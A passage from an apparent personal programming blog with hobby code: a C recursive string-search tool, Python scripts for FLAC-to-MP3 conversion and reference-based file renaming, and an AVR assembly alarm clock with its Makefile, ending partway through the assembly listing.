As an example, it turns out that searching for "obar" did not locate the string "Foobar". The current algorithm would find the "o" in the string first, then the other "o", but since this is not what was searched for, the search was stopped. It did not backtrack in the original string, which it should have, and this is what has been fixed.

Only a single line of code was added:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <limits.h>
#include <unistd.h>
#include <dirent.h>

#define FILTER_DELIMITER ";"
#define FILTER_MAX 10

static char *filters[FILTER_MAX];
static int no_of_filters = 0;

static void display_help(char *progname)
{
  fprintf(stderr, "Usage: %s <options> <string>\n", progname);
  fprintf(stderr, "Options:\n"
     "  -h          Display this help and exit.\n"
     "  -n          Print filename on each search match line.\n"
     "  -d DIR      Search DIR instead of current directory.\n"
     "  -f FILTER   Apply FILTER on filename extension when searching.\n"
     "                Delimited by ';', e.g. '.c;.cpp;.h;.hpp'\n"
     "\n");
}

static void build_filter(char *filter)
{
  no_of_filters = 0;

  filters[0] = strtok(filter, FILTER_DELIMITER);
  if (filters[0] == NULL)
    return;

  for (no_of_filters = 1; no_of_filters < FILTER_MAX; no_of_filters++) {
    filters[no_of_filters] = strtok(NULL, FILTER_DELIMITER);
    if (filters[no_of_filters] == NULL)
      break;
  }
}

static int matches_filter(char *name, int name_len)
{
  int i, n1, n2, match, filter_len;

  if (no_of_filters == 0)
    return 1; /* No filters, always matches. */

  for (i = 0; i < no_of_filters; i++) {
    filter_len = strlen(filters[i]);
    if (filter_len > name_len)
      return 0; /* Filter cannot be longer than name! */

    match = 0;
    n2 = name_len - 1;
    for (n1 = filter_len - 1; n1 >= 0; n1--, n2--) {
      if (toupper(filters[i][n1]) != toupper(name[n2]))
        break;
      match++;
    }

    if (filter_len == match)
      return 1; /* Whole filter matched. */
  }

  return 0; /* No matches. */
}

static void recurse(char *path, char *string, int string_len, int show_mode)
{
  static char line[1024]; /* Allocate in BSS. */
  char full_path[PATH_MAX];
  int n, match, name_shown, line_no;
  struct dirent *entry;
  struct stat st;
  DIR *dh;
  FILE *fh;

  dh = opendir(path);
  if (dh == NULL) {
    fprintf(stderr, "Warning: Unable to open directory: %s\n", path);
    return;
  }

  while ((entry = readdir(dh))) {
    if (entry->d_name[0] == '.')
      continue; /* Ignore files with leading dot. */

#ifdef WINNT
    snprintf(full_path, PATH_MAX, "%s\\%s", path, entry->d_name);
#else
    snprintf(full_path, PATH_MAX, "%s/%s", path, entry->d_name);
#endif

    stat(full_path, &st);
    if (S_ISDIR(st.st_mode)) {
      /* Traverse. */
      recurse(full_path, string, string_len, show_mode);

    } else if (S_ISREG(st.st_mode)) {
      /* Search. */
      if (! matches_filter(full_path, strlen(full_path)))
        continue;

      fh = fopen(full_path, "r");
      if (fh == NULL) {
        fprintf(stderr, "Warning: Unable to open file: %s\n", full_path);
        continue;
      }

      name_shown = line_no = 0;
      while (fgets(line, 1024, fh) != NULL) {
        line_no++;
        match = 0;
        for (n = 0; line[n] != '\0'; n++) {
          if (toupper(line[n]) == toupper(string[match])) {
            match++;
            if (match >= string_len) {
              if (show_mode == 0) {
                if (! name_shown) {
                  printf("%s\n", full_path);
                  name_shown = 1;
                }
                printf("%d:%s", line_no, line);
              } else {
                printf("%s:%d:%s", full_path, line_no, line);
              }
              break;
            }
          } else {
            n -= match; /* Backtrack */
            match = 0;
          }
        }
      }
      fclose(fh);
    }
  }

  closedir(dh);
  return;
}

int main(int argc, char *argv[])
{
  int c;
  int show_mode = 0;
  char *search_dir = NULL;

  while ((c = getopt(argc, argv, "hnd:f:")) != -1) {
    switch (c) {
    case 'h':
      display_help(argv[0]);
      exit(EXIT_SUCCESS);

    case 'n':
      show_mode = 1;
      break;

    case 'd':
      search_dir = optarg;
      break;

    case 'f':
      build_filter(optarg);
      break;
    
    case '?':
    default:
      display_help(argv[0]);
      exit(EXIT_FAILURE);
    }
  }

  if (search_dir == NULL) {
    search_dir = "."; /* Current directory. */
  }

  if (optind >= argc) {
    display_help(argv[0]);
    return EXIT_FAILURE;
  }

  recurse(search_dir, argv[optind], strlen(argv[optind]), show_mode);
  return EXIT_SUCCESS;
}
          


Here is also a binary for Win32 (compiled with MinGW).

Topic: Scripts and Code, by Kjetil @ 03/04-2017, Article Link

FLAC to MP3 Conversion

Here is my custom Python script to convert FLAC files to MP3 files.
In addition to the obligatory audio conversion, it also handles tag conversion. Because of this, the external eyeD3 module is required.

Take a look:

#!/usr/bin/python

import subprocess
import eyed3
import os
import os.path
import re
import struct
import getopt

temp_tags = r"/tmp/___TAGS___.utf8"
temp_cover = r"/tmp/___COVER___.jpg"

def apic_from_unicode_to_latin1(filename):
    data = open(filename, "rb").read()

    match = re.search('APIC(......)\x01image/jpeg\x00\x03\xff\xfe\x00\x00', data)
    if match:
        header = match.group(1)

        # Just inject FIX as picture description to keep same frame size!
        old = 'APIC' + header + '\x01image/jpeg\x00\x03\xff\xfe\x00\x00'
        new = 'APIC' + header + '\x00image/jpeg\x00\x03FIX\x00'
        data = data.replace(old, new)

        fh = open(filename, "wb")
        fh.write(data)
        fh.close()

class TagData(object):
    def __init__(self):
        self.title = None
        self.album = None
        self.track_num = None
        self.artist = None
        self.genre = None
        self.date = None
        self.album_artist = None

    def read_flac_tags(self, filename):
        subprocess.call(["metaflac", "--no-utf8-convert", "--export-tags-to=" + temp_tags, filename])
        fh = open(temp_tags, "rb")
        for line in fh:
            match = re.match(r'^TITLE=(.*)', line.decode('UTF-8'), re.IGNORECASE)
            if match:
                self.title = match.group(1)
            match = re.match(r'^ALBUM=(.*)', line.decode('UTF-8'), re.IGNORECASE)
            if match:
                self.album = match.group(1)
            match = re.match(r'^TRACKNUMBER=(\d*)', line.decode('UTF-8'), re.IGNORECASE)
            if match:
                self.track_num = int(match.group(1))
            match = re.match(r'^ARTIST=(.*)', line.decode('UTF-8'), re.IGNORECASE)
            if match:
                self.artist = match.group(1)
            match = re.match(r'^GENRE=(.*)', line.decode('UTF-8'), re.IGNORECASE)
            if match:
                self.genre = match.group(1)
            match = re.match(r'^DATE=(\d*)', line.decode('UTF-8'), re.IGNORECASE)
            if match:
                self.date = int(match.group(1))

        fh.close()

    def write_mp3_tags(self, filename):
        audiofile = eyed3.load(filename)
        audiofile.tag = eyed3.id3.Tag() # Create NEW!
        if self.title:
            audiofile.tag.title = self.title
        if self.album:
            audiofile.tag.album = self.album
        if self.track_num:
            audiofile.tag.track_num = self.track_num
        if self.artist:
            audiofile.tag.artist = self.artist
        if self.genre:
            audiofile.tag.genre = self.genre
        if self.date:
            audiofile.tag.recording_date = self.date # Works if version 2.3
        if self.album_artist:
            audiofile.tag.album_artist = self.album_artist
        audiofile.tag.save(filename, eyed3.id3.ID3_V2_3)

def print_usage(progname):
    print "Usage: %s " % (progname)
    print "-f <FLAC File>"
    print "-a [AlbumArtist]"
    print "-c [Cover Image Path]"
    print "-n [Album Name Override]"

if __name__ == "__main__":
    import sys

    tagdata = TagData()

    # NOTE: Need to filter out empty strings from sys.argv.
    # If not, the parser thinks parsing finishes early.
    try:
        opts, args = getopt.getopt(filter(None, sys.argv[1:]), "hf:a:c:n:", ["help", "flacfile=", "albumartist=", "cover=", "albumname="])
    except getopt.GetoptError as err:
        print str(err)
        print_usage(sys.argv[0])
        sys.exit(1)

    print "Opts:", opts
    print "Args:", args

    filename = None
    album_artist = None
    cover_override = None
    album_name_override = None

    for o, a in opts:
        if o in ("-h", "--help"):
            print_usage(sys.argv[0])
            sys.exit(1)
        elif o in ("-f", "--flacfile"):
            filename = a
            print "FLAC File:", filename
        elif o in ("-a", "--albumartist"):
            album_artist = a
            print "AlbumArtist:", album_artist
        elif o in ("-c", "--cover"):
            cover_override = a
            print "Cover Image Path:", cover_override
        elif o in ("-n", "--albumname"):
            album_name_override = a
            print "Album Name Override:", album_name_override

    if filename == None:
        print_usage(sys.argv[0])
        sys.exit(1)

    # Set optional AlbumArtist.
    if album_artist:
        tagdata.album_artist = unicode(album_artist)

    # Read old tags from FLAC.
    tagdata.read_flac_tags(filename)

    # Set optional album name override, AFTER reading default tags.
    if album_name_override:
        tagdata.album = unicode(album_name_override)

    # Decode FLAC, encode MP3.
    subprocess.call(["flac", "-d", filename, "-o", filename + ".wav"])
    subprocess.call(["lame", "-b", "320", "-h", filename + ".wav", filename + ".mp3"])

    # Write new tags to MP3.
    tagdata.write_mp3_tags(filename + ".mp3")

    # Get cover image from argument, or...
    if cover_override:
        cover_file = cover_override
    else:
        # ...attempt to extract cover image from FLAC file...
        subprocess.call(["metaflac", "--export-picture-to=" + temp_cover, filename])
        cover_file = temp_cover

    # ...then apply it.
    if os.path.isfile(cover_file):
        imagedata = open(cover_file, "rb").read()
        if imagedata.startswith("\xff\xd8\xff"):
            audiofile = eyed3.load(filename + ".mp3")
            audiofile.tag.images.set(3, imagedata, "image/jpeg")
            audiofile.tag.save()
        else:
            print "Warning: Image data is not JPEG."

    # iTunes APIC fix, encoding must be changed to latin1.
    apic_from_unicode_to_latin1(filename + ".mp3")

    # Remove ".flac" part of final MP3 file.
    if os.path.isfile(filename + ".mp3"):
        os.rename(filename + ".mp3", filename.replace(".flac", "") + ".mp3")

    # Remove temporary files.
    if os.path.isfile(filename + ".wav"):
        os.remove(filename + ".wav")
    if os.path.isfile(temp_tags):
        os.remove(temp_tags)
    if os.path.isfile(temp_cover):
        os.remove(temp_cover)
          


Topic: Scripts and Code, by Kjetil @ 03/12-2016, Article Link

Rename by Reference

Another specialized tool for a specialized task, this Python script renames files in a directory based on names from another directory. The pattern matching is only based on matching substrings. If a filename fits as a substring within another filename from the reference directory, then that reference filename is selected as a possible choice. Filename extensions are excluded automatically.

Take a look:

#!/usr/bin/python

import os
import glob

def rename_by_reference(target_dir, ref_dir):
    ref = dict()
    for f in glob.glob(os.path.join(ref_dir, "*")):
        if os.path.isdir(f):
            (name, ext) = (os.path.basename(f), "")
        else:
            (name, ext) = os.path.splitext(os.path.basename(f))
        ref[name] = ext

    for f in glob.glob(os.path.join(target_dir, "*")):
        if os.path.isdir(f):
            (name, ext) = (os.path.basename(f), "")
        else:
            (name, ext) = os.path.splitext(os.path.basename(f))
        for (ref_name, ref_ext) in ref.iteritems():
            if name == ref_name:
                continue # Equal, not interesting...
            if name in ref_name:
                print name + ext, "--->", ref_name + ext
                answer = raw_input("Rename? ").lower()
                if answer.startswith("q"):
                    return
                elif answer.startswith("y"):
                    src = f
                    dst = os.path.join(os.path.dirname(f), ref_name + ext)
                    os.rename(src, dst)
                    break

if __name__ == "__main__":
    import sys

    if len(sys.argv) < 3:
        print "Usage: %s <target dir> <reference dir>" % (sys.argv[0])
        sys.exit(1)

    rename_by_reference(sys.argv[1], sys.argv[2])
    sys.exit(0)
          


Topic: Scripts and Code, by Kjetil @ 09/10-2016, Article Link

AVR Alarm Clock

Here is an implementation of an alarm clock running on an Atmel AVR (ATMega8) microcontroller. It uses a 8-digit LCD display for output, a 3x4 button keypad for input and a buzzer to give an alarm.

Here is a circuit diagram of the whole setup:

AVR Alarm Clock Schematics

Get a higher resolution schematic here.

The software on the microcontroller is written entirely in AVR Assembly language. It features a menu to view/set the clock and view/set/enable the alarm and the buzzer. The clock itself is updated by a timer interrupt in the microcontroller, and is not very accurate when running on the internal clock unfortunately. Perhaps an external crystal would improve it, but I never got around to trying it due to lack of hardware.

I used the AVRA assembler and AVRDUDE utility against a Atmel STK500 board for development. Easy with this Makefile:

clock.hex clock.eep.hex: clock.asm
	avra clock.asm -o clock.hex

# Needs to be in the correct order, Flash first, then EEPROM second.
.PHONY: install
install: clock.hex clock.eep.hex
	avrdude -c stk500v2 -p m8 -P /dev/ttyS0 -U flash:w:clock.hex:i
	avrdude -c stk500v2 -p m8 -P /dev/ttyS0 -U eeprom:w:clock.eep.hex:i

.PHONY: clean
clean:
	rm clock.hex clock.eep.hex clock.obj clock.cof
          


Here is the code (clock.asm):

; *****************************************************************************
;  AVR ALARM CLOCK
; *****************************************************************************

.NOLIST
.INCLUDE "m8def.inc" ; ATMega8
.LIST

; =============================================================================
;  REGISTER DEFINITIONS
; =============================================================================

.DEF second = r0 ; Clock second.
.DEF minute = r1 ; Clock minute.
.DEF hour   = r2 ; Clock hour.

.DEF alarm_active = r3 ; Alarm active/enable flag.
.DEF alarm_minute = r4 ; Alarm minute.
.DEF alarm_hour   = r5 ; Alarm hour.

.DEF var1   = r16 ; Local use in routines.
.DEF var2   = r17 ; Local use in routines.
.DEF arg1   = r18 ; Argument (or return value) between routines.
.DEF arg2   = r19 ; Argument (or return value) between routines.
.DEF intvar = r20 ; Used only in interrupt routines.

; =============================================================================
;  VALUE LABELS
; =============================================================================

.EQU MENU_ENTRY_CLOCK_SHOW    = 0
.EQU MENU_ENTRY_CLOCK_SET     = 1
.EQU MENU_ENTRY_ALARM_SET     = 2
.EQU MENU_ENTRY_ALARM_ENABLE  = 3
.EQU MENU_ENTRY_BUZZER_STATUS = 4
.EQU MENU_ENTRY_END           = 5

.EQU CLOCK_SET_HOUR_MSD   = 0
.EQU CLOCK_SET_HOUR_LSD   = 1
.EQU CLOCK_SET_MINUTE_MSD = 2
.EQU CLOCK_SET_MINUTE_LSD = 3
.EQU CLOCK_SET_SECOND_MSD = 4
.EQU CLOCK_SET_SECOND_LSD = 5
.EQU CLOCK_SET_END        = 6

.EQU ALARM_SET_HOUR_MSD   = 0
.EQU ALARM_SET_HOUR_LSD   = 1
.EQU ALARM_SET_MINUTE_MSD = 2
.EQU ALARM_SET_MINUTE_LSD = 3
.EQU ALARM_SET_END        = 4

; =============================================================================
;  DATA DEFINITIONS
; =============================================================================

.DSEG
.ORG 0x0060
_keypad_key_previous: .BYTE 1

; =============================================================================
;  EEPROM DATA
; =============================================================================

.ESEG
.ORG 0x0000

clock_set_menu_text:
.db "ClockSet"
alarm_set_menu_text:
.db "AT:"
alarm_enable_menu_text:
.db "AE:"
buzzer_status_menu_text:
.db "Buzzer:"

; =============================================================================
;  RESET AND INTERRUPT VECTORS
; =============================================================================

.CSEG
.ORG 0x0000 ; Reset vector.
  rjmp main_init

.ORG 0x0006 ; Timer1 compare 'a' interrupt.
  rjmp timer1_interrupt

; =============================================================================
;  MAIN INITIALIZATION
; =============================================================================

.ORG 0x0010
main_init:
  ; Setup MCU control register.
  in var1, MCUCR
  ori var1, 0x80 ; Enable sleep in idle mode.
  out MCUCR, var1

  ; Define SRAM as stack. (In order to use subroutines.)
  ldi var1, HIGH(RAMEND)
  out SPH, var1
  ldi var1, LOW(RAMEND)
  out SPL, var1

  ; Clear registers.
  clr second
  clr minute
  clr hour
  clr alarm_active
  clr alarm_minute
  clr alarm_hour

  ; Clear data.
  ldi var1, 0
  sts _keypad_key_previous, var1

  ; Set parts of Port-B (Connected to LCD) as output.
  ldi var1, 0b00111111
  out DDRB, var1

  ; Set parts of Port D (Connected to Keypad and buzzer) as output.
  ldi var1, 0b10010101
  out DDRD, var1

  ; Enable compare match 'a' interrupt for Timer1.
  ldi var1, 0b00010000
  out TIMSK, var1

  ; Set compare value 'a' for Timer1.
  ; (Tuned to one second when using internal clock.)
  ldi var1, 0b00111100
  out OCR1AH, var1
  ldi var1, 0b10000000
  out OCR1AL, var1

  ; Clear Timer1 counter.
  clr var1
  out TCNT1H, var1
  out TCNT1L, var1

  ; Enable interrupts globally. 
  sei

  ; Start Timer1 in CTC mode and use internal clock with clk/64 prescaler.
  clr var1
  out TCCR1A, var1
  ldi var1, 0b00001011
  out TCCR1B, var1

  ; Initialize LCD.
  rcall lcd_init

  ; Start main program loop.
  rjmp menu_loop_init

; =============================================================================
;  MAIN MENU LOOP
; =============================================================================

menu_loop_init:
  clr var1 ; Holds "current entry". What to show and what action to take.
menu_loop:

  cpi var1, MENU_ENTRY_CLOCK_SHOW
  brne _menu_loop_display_clock_set

  ; Display clock.
  rcall lcd_first_position
  mov arg1, hour
  rcall split_msd_lsd
  rcall lcd_number
  ldi arg1, ':'
  rcall lcd_character
  mov arg1, minute
  rcall split_msd_lsd
  rcall lcd_number
  ldi arg1, ':'
  rcall lcd_character
  mov arg1, second
  rcall split_msd_lsd
  rcall lcd_number

; -----------------------------------------------------------------------------

_menu_loop_display_clock_set:
  cpi var1, MENU_ENTRY_CLOCK_SET
  brne _menu_loop_display_alarm_set

  ; Display "ClockSet".
  rcall lcd_first_position
  ldi arg1, LOW(clock_set_menu_text)
  ldi arg2, 8
  rcall lcd_eeprom_string
  rjmp _menu_loop_keypad_poll

; -----------------------------------------------------------------------------

_menu_loop_display_alarm_set:
  cpi var1, MENU_ENTRY_ALARM_SET
  brne _menu_loop_display_alarm_enable

  ; Display "AT:" and time of alarm.
  rcall lcd_first_position
  ldi arg1, LOW(alarm_set_menu_text)
  ldi arg2, 3
  rcall lcd_eeprom_string

  mov arg1, alarm_hour
  rcall split_msd_lsd
  rcall lcd_number
  ldi arg1, ':'
  rcall lcd_character
  mov arg1, alarm_minute
  rcall split_msd_lsd
  rcall lcd_number
  rjmp _menu_loop_keypad_poll

; -----------------------------------------------------------------------------

_menu_loop_display_alarm_enable:
  cpi var1, MENU_ENTRY_ALARM_ENABLE
  brne _menu_loop_display_buzzer_status

  ; Display "AE:" and 1 if active, or 0 if not active.
  rcall lcd_first_position
  ldi arg1, LOW(alarm_enable_menu_text)
  ldi arg2, 3
  rcall lcd_eeprom_string

  tst alarm_active
  breq _menu_loop_display_alarm_not_active

  ldi arg1, '1'
  rcall lcd_character
  ldi arg1, ' '
  rcall lcd_character
  rcall lcd_character
  rcall lcd_character
  rcall lcd_character
  rjmp _menu_loop_keypad_poll

_menu_loop_display_alarm_not_active:
  ldi arg1, '0'
  rcall lcd_character
  ldi arg1, ' '
  rcall lcd_character
  rcall lcd_character
  rcall lcd_character
  rcall lcd_character
  rjmp _menu_loop_keypad_poll

; -----------------------------------------------------------------------------

_menu_loop_display_buzzer_status:
  cpi var1, MENU_ENTRY_BUZZER_STATUS
  brne _menu_loop_keypad_poll

  ; Display "Buzzer:" and 1 if active, or 0 if not active.
  rcall lcd_first_position
  ldi arg1, LOW(buzzer_status_menu_text)
  ldi arg2, 7
  rcall lcd_eeprom_string

  rcall buzzer_is_active
  tst arg1
  breq _menu_loop_display_buzzer_status_not_active

  ldi arg1, '1'
  rcall lcd_character
  rjmp _menu_loop_keypad_poll

_menu_loop_display_buzzer_status_not_active:
  ldi arg1, '0'
  rcall lcd_character
  rjmp _menu_loop_keypad_poll

; -----------------------------------------------------------------------------

_menu_loop_keypad_poll:
  rcall keypad_poll
  cpi arg1, '*'
  brne _menu_loop_keypad_poll_action
  inc var1
  cpi var1, MENU_ENTRY_END
  brge _menu_loop_wrap
  rjmp menu_loop
_menu_loop_wrap:
  clr var1
  rjmp menu_loop

_menu_loop_keypad_poll_action:
  cpi arg1, '#'
  breq _menu_loop_action_clock_set
  rjmp menu_loop

_menu_loop_action_clock_set:
  cpi var1, MENU_ENTRY_CLOCK_SET
  brne _menu_loop_action_alarm_set
  rcall clock_set_action
  rjmp menu_loop

_menu_loop_action_alarm_set:
  cpi var1, MENU_ENTRY_ALARM_SET
  brne _menu_loop_action_alarm_enable
  rcall alarm_set_action
  rjmp menu_loop

_menu_loop_action_alarm_enable:
  cpi var1, MENU_ENTRY_ALARM_ENABLE
  brne _menu_loop_action_buzzer_status
  rcall alarm_enable_action
  rjmp menu_loop

_menu_loop_action_buzzer_status:
  cpi var1, MENU_ENTRY_BUZZER_STATUS
  brne _menu_loop_end
  rcall buzzer_status_action
  rjmp menu_loop

_menu_loop_end:
  rjmp menu_loop

; =============================================================================
;  CLOCK SET SUB-MENU
; =============================================================================

; clock_set_action -- Adjust time of the clock.
; IN: N/A
; OUT: N/A
clock_set_action:
  push var1
  cli ; Freeze time while adjusting clock.
  clr var1 ; Holds current digit to be adjusted (0 to 5).

_clock_set_loop:
  mov arg1, var1
  rcall clock_set_display

  rcall keypad_poll

  ; Check if action should be aborted.
  cpi arg1, '#'
  breq _clock_set_end
  cpi arg1, '*'
  breq _clock_set_end

  ; Check a key between '0' and '9' is pressed, only then perform adjust.
  cpi arg1, 0x30
  brlt _clock_set_loop
  cpi arg1, 0x40
  brge _clock_set_loop
  mov arg2, var1
  rcall clock_set_update_digit

  inc var1
  cpi var1, CLOCK_SET_END
  breq _clock_set_end
  rjmp _clock_set_loop

_clock_set_end:
  sei ; Un-freeze time.
  pop var1
  ret

; -----------------------------------------------------------------------------

; clock_set_update_digit -- Update individual digit on clock manually.
; IN: arg1 -> ASCII value of digit to update.
;     arg2 -> Digit location from 0 to 5.
; OUT: N/A
clock_set_update_digit:
  subi arg1, 0x30 ; Convert from ASCII to actual integer value.

  cpi arg2, CLOCK_SET_HOUR_MSD
  brne _clock_set_update_hour_lsd
  rcall convert_to_msd
  mov hour, arg1
  ret

_clock_set_update_hour_lsd:
  cpi arg2, CLOCK_SET_HOUR_LSD
  brne _clock_set_update_minute_msd
  add hour, arg1
  ret

_clock_set_update_minute_msd:
  cpi arg2, CLOCK_SET_MINUTE_MSD
  brne _clock_set_update_minute_lsd
  rcall convert_to_msd
  mov minute, arg1
  ret

_clock_set_update_minute_lsd:
  cpi arg2, CLOCK_SET_MINUTE_LSD
  brne _clock_set_update_second_msd
  add minute, arg1
  ret

_clock_set_update_second_msd:
  cpi arg2, CLOCK_SET_SECOND_MSD
  brne _clock_set_update_second_lsd
  rcall convert_to_msd
  mov second, arg1
  ret

_clock_set_update_second_lsd:
  cpi arg2, CLOCK_SET_SECOND_LSD
  brne _clock_set_update_digit_end
  add second, arg1
  ret

_clock_set_update_digit_end:
  ret

; -----------------------------------------------------------------------------

; clock_set_display -- Display "update in progress" clock.
; IN: arg1 -> Digit location from 0 to 5. (What will be updated next.)
; OUT: N/A
clock_set_display:
  push var1
  mov var1, arg1

  rcall lcd_first_position

  mov arg1, hour
  rcall split_msd_lsd
  subi arg1, -0x30
  subi arg2, -0x30

  cpi var1, CLOCK_SET_HOUR_MSD
  brne _clock_set_display_hour_msd
  ldi arg1, '_' ; Use underscore to display "current" number to update.
_clock_set_display_hour_msd:
  rcall lcd_character

  mov arg1, arg2
  cpi var1, CLOCK_SET_HOUR_LSD
  brne _clock_set_display_hour_lsd
  ldi arg1, '_'

_clock_set_display_hour_lsd:
  rcall lcd_character

  ldi arg1, ':'
  rcall lcd_character

  mov arg1, minute
  rcall split_msd_lsd
  subi arg1, -0x30
  subi arg2, -0x30

  cpi var1, CLOCK_SET_MINUTE_MSD
  brne _clock_set_display_minute_msd
  ldi arg1, '_'
_clock_set_display_minute_msd:
  rcall lcd_character

  mov arg1, arg2
  cpi var1, CLOCK_SET_MINUTE_LSD
  brne _clock_set_display_minute_lsd
  ldi arg1, '_'

_clock_set_display_minute_lsd:
  rcall lcd_character

  ldi arg1, ':'
  rcall lcd_character

  mov arg1, second
  rcall split_msd_lsd
  subi arg1, -0x30
  subi arg2, -0x30

  cpi var1, CLOCK_SET_SECOND_MSD
  brne _clock_set_display_second_msd
  ldi arg1, '_'
_clock_set_display_second_msd:
  rcall lcd_character

  mov arg1, arg2
  cpi var1, CLOCK_SET_SECOND_LSD
  brne _clock_set_display_second_lsd
  ldi arg1, '_'

_clock_set_display_second_lsd:
  rcall lcd_character

  pop var1
  ret

; =============================================================================
;  ALARM SET SUB-MENU
; =============================================================================

; alarm_set_action -- Adjust the time of the alarm.
; IN: N/A
; OUT: N/A
alarm_set_action:
  push var1
  clr var1 ; Holds current digit to be adjusted (0 to 5).

_alarm_set_loop:
  mov arg1, var1
  rcall alarm_set_display

  rcall keypad_poll

  ; Check if action should be aborted.
  cpi arg1, '#'
  breq _alarm_set_end
  cpi arg1, '*'
  breq _alarm_set_end

  ; Check a key between '0' and '9' is pressed, only then perform adjust.
  cpi arg1, 0x30
  brlt _alarm_set_loop
  cpi arg1, 0x40
  brge _alarm_set_loop
  mov arg2, var1
  rcall alarm_set_update_digit

  inc var1
  cpi var1, ALARM_SET_END
  breq _alarm_set_end
  rjmp _alarm_set_loop

_alarm_set_end:
  pop var1
  ret

; -----------------------------------------------------------------------------

; alarm_set_update_digit -- Update individual digit on alarm.
; IN: arg1 -> ASCII value of digit to update.
;     arg2 -> Digit location from 0 to 5.
; OUT: N/A
alarm_set_update_digit:
  subi arg1, 0x30 ; Convert from ASCII to actual integer value.

  cpi arg2, ALARM_SET_HOUR_MSD
  brne _alarm_set_update_hour_lsd
  rcall convert_to_msd
  mov alarm_hour, arg1
  ret

_alarm_set_update_hour_lsd:
  cpi arg2, ALARM_SET_HOUR_LSD
  brne _alarm_set_update_minute_msd
  add alarm_hour, arg1
  ret

_alarm_set_update_minute_msd:
  cpi arg2, ALARM_SET_MINUTE_MSD
  brne _alarm_set_update_minute_lsd
  rcall convert_to_msd
  mov alarm_minute, arg1
  ret

_alarm_set_update_minute_lsd:
  cpi arg2, ALARM_SET_MINUTE_LSD
  brne _alarm_set_update_digit_end
  add alarm_minute, arg1
  ret

_alarm_set_update_digit_end:
  ret

; -----------------------------------------------------------------------------

; alarm_set_display -- Display "update in progress" for alarm.
; IN: arg1 -> Digit location from 0 to 5. (What will be updated next.)
; OUT: N/A
alarm_set_display:
  push var1
  mov var1, arg1

  rcall lcd_first_position

  mov arg1, alarm_hour
  rcall split_msd_lsd
  subi arg1, -0x30
  subi arg2, -0x30

  cpi var1, ALARM_SET_HOUR_MSD
  brne _alarm_set_display_hour_msd
  ldi arg1, '_' ; Use underscore to display "current" number to update.
_alarm_set_display_hour_msd:
  rcall lcd_character

  mov arg1, arg2
  cpi var1, ALARM_SET_HOUR_LSD
  brne _alarm_set_display_hour_lsd
  ldi arg1, '_'

_alarm_set_display_hour_lsd:
  rcall lcd_character

  ldi arg1, ':'
  rcall lcd_character

  mov arg1, alarm_minute
  rcall split_msd_lsd
  subi arg1, -0x30
  subi arg2, -0x30

  cpi var1, ALARM_SET_MINUTE_MSD
  brne _alarm_set_display_minute_msd
  ldi arg1, '_'
_alarm_set_display_minute_msd:
  rcall lcd_character

  mov arg1, arg2
  cpi var1, ALARM_SET_MINUTE_LSD
  brne _alarm_set_display_minute_lsd
  ldi arg1, '_'

_alarm_set_display_minute_lsd:
  rcall lcd_character

  ldi arg1, ' '
  rcall lcd_character
  rcall lcd_character
  rcall lcd_character

  pop var1
  ret

; =============================================================================
;  ALARM STATUS SUB-MENU
; =============================================================================

; alarm_enable_action -- Toggle "alarm_active" flag.
; IN: N/A
; OUT: N/A
alarm_enable_action:
  push var1

  tst alarm_active
  breq _alarm_enable_action_not_active
  clr var1
  mov alarm_active, var1

  pop var1
  ret

_alarm_enable_action_not_active:
  ser var1
  mov alarm_active, var1

  pop var1
  ret

; =============================================================================
;  BUZZER STATUS SUB-MENU
; =============================================================================

; buzzer_status_action -- Toggle buzzer.
; IN: N/A
; OUT: N/A
buzzer_status_action:
  rcall buzzer_is_active
  tst arg1
  breq _buzzer_status_action_not_active
  rcall buzzer_deactivate
  ret
_buzzer_status_action_not_active:
  rcall buzzer_activate
  ret

; =============================================================================
;  LCD DISPLAY INTERFACE
; =============================================================================

; lcd_init -- Initialize LCD display.
; IN: N/A
; OUT: N/A
lcd_init:
  push var1

  ; Wait a little after MC startup.
  rcall long_delay

  ; Set 4-bit data mode. (Directly, since interfaces does not work yet.)
  ldi var1, 0b00000010
  out PORTB, var1
  sbi PORTB, 4 ; Set enable.
  rcall short_delay
  cbi PORTB, 4 ; Clear enable.
  rcall long_delay

  ; Trick to keep to keep brightness correct.
  ldi arg1, 0b10001000
  rcall lcd_command
  ldi arg1, '!'
  rcall lcd_character

  ; Set 1-line mode.
  ldi arg1, 0b00100000
  rcall lcd_command

  ; Turn on LCD. (Without blinking cursor.)
  ldi arg1, 0b00001100
  rcall lcd_command

  ; Clear whole display.
  ldi arg1, 0b00000001 
  rcall lcd_command
  rcall long_delay

  ; Set cursor to move left after write operation.
  ldi arg1, 0b00000110
  rcall lcd_command

  pop var1
  ret

; -----------------------------------------------------------------------------

; lcd_character -- Print single character (extended ASCII) to LCD display.
; IN: arg1 -> character
; OUT: N/A
lcd_character:
  push var1

  ; Extract high nibble from byte.
  mov var1, arg1
  swap var1 ; Swap nibbles.
  andi var1, 0xf ; Clear high nibble.
  out PORTB, var1
  sbi PORTB, 5 ; Set RS to 1 to use character register.

  ; Toggle enable to send the first 4 bits of data.
  sbi PORTB, 4
  rcall short_delay
  cbi PORTB, 4
  rcall short_delay
  
  ; Extract lower nibble from byte.
  mov var1, arg1
  andi var1, 0xf
  out PORTB, var1
  sbi PORTB, 5

  ; Toggle enable to send the second 4 bits of data.
  sbi PORTB, 4
  rcall short_delay
  cbi PORTB, 4
  rcall short_delay

  pop var1
  ret

; -----------------------------------------------------------------------------

; lcd_command -- Send control command to LCD display.
; IN: arg1 -> command number
; OUT: N/A
lcd_command:
  push var1

  ; Extract high nibble from byte.
  mov var1, arg1
  swap var1 ; Swap nibbles.
  andi var1, 0xf ; Clear high nibble.
  out PORTB, var1
  ; RS remains 0 to use command register.

  ; Toggle enable to send the first 4 bits of data.
  sbi PORTB, 4
  rcall short_delay
  cbi PORTB, 4
  rcall short_delay
  
  ; Extract lower nibble from byte.
  mov var1, arg1
  andi var1, 0xf
  out PORTB, var1

  ; Toggle enable to send the second 4 bits of data.
  sbi PORTB, 4
  rcall short_delay
  cbi PORTB, 4
  rcall short_delay

  pop var1
  ret

; -----------------------------------------------------------------------------

; lcd_first_position -- Set LCD address to first position (0).
; IN: N/A
; OUT: N/A
lcd_first_position:
  ldi arg1, 0b10000000 ; Set DDRAM address to first display position.
  rcall lcd_command
  ret

; -----------------------------------------------------------------------------

; lcd_number -- Print two digit number to LCD display.
; IN: arg1 -> MSD of two digit number.
;     arg2 -> LSD of two digit number.
; OUT: N/A
lcd_number:
  ; Add ASCII compensator.
  subi arg1, -0x30
  subi arg2, -0x30

  rcall lcd_character
